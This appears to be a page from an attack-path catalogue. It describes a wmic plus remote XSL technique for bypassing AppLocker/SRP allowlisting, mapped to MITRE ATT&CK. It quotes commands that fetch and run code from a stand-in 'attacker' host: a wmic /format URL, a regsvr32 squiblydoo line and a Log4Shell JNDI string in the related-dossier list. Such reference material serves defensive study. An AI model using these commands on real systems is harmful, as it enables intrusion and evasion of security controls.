wmic + XSL → AppLocker / SRP bypass

§ Context

Assumed environment: same as squiblydoo — endpoint enforces app allowlisting that trusts wmic.exe (signed). wmic is present on every Windows since Vista.

§ Steps

1. 01
   JScript stager firesExecution

   T1059— Command and Scripting Interpreter
2. 02
   Drop scheduled task / WMI subscriptionPersistence

   W-SCHEDTASK-HIJACK— Scheduled Task Hijack
3. 03
   Host attacker XSL with JScript payloadResource Development

   T1583— Acquire Infrastructure
4. 04
   wmic os get /format remote XSLExecution

   LOL-WMIC— wmic.exe XSL Execution

§ References

• T1059Command and Scripting Interpreter
• T1583Acquire Infrastructure

§ Frequently asked

What is the "wmic + XSL → AppLocker / SRP bypass" attack path?

wmic os get /format:'http://attacker/x.xsl' renders the result by fetching attacker XSL. The XSL contains JScript blocks — runs in wmic's signed-binary context, bypasses allowlisting. It chains 4 steps drawn from real-world offensive-security techniques.

What starting position does this attack require?

The first step is JScript stager fires (T1059) — a execution primitive. Assumed environment: same as squiblydoo — endpoint enforces app allowlisting that trusts wmic.

What is the final impact of this kill-chain?

The final step lands on wmic os get /format remote XSL (LOL-WMIC), which falls under Execution. From here, an operator typically pivots into post-exploitation or maintains persistence.

How can defenders detect or prevent this attack?

Detection and prevention vary per step. Refer to each linked MITRE ATT&CK entry under "References" — every technique on that page lists defensive controls, detection telemetry, and known threat-actor usage.

§ Related dossiers

• Shared techniques2

  Log4Shell (CVE-2021-44228) → RCE → lateral

  Send `${jndi:ldap://attacker/x}` in any logged field (User-Agent / X-Forwarded-For). Vulnerable log4j 2.x resolves the JNDI URL, fetches a Java class from attacker LDAP, runs it as the app user.

• Shared techniques2

  certutil + bitsadmin → AV-friendly stager chain

  Initial access dropped a tiny .bat. It uses certutil to decode a base64 blob and bitsadmin to fetch the real beacon, then schtasks for persistence. Every binary is signed Microsoft.

• Shared techniques2

  Squiblydoo: regsvr32 → remote SCT execution

  regsvr32.exe /s /n /u /i:http://attacker/x.sct scrobj.dll. AppLocker / SRP often allow regsvr32 because it's signed Microsoft — attacker JS runs in its context.

• Shared techniques2

  USB drop in parking lot → HID payload → C2

  Drop branded-looking USB sticks near the target site. An employee plugs one in; a Rubber-Ducky-class HID device types a PowerShell payload that connects out to attacker C2.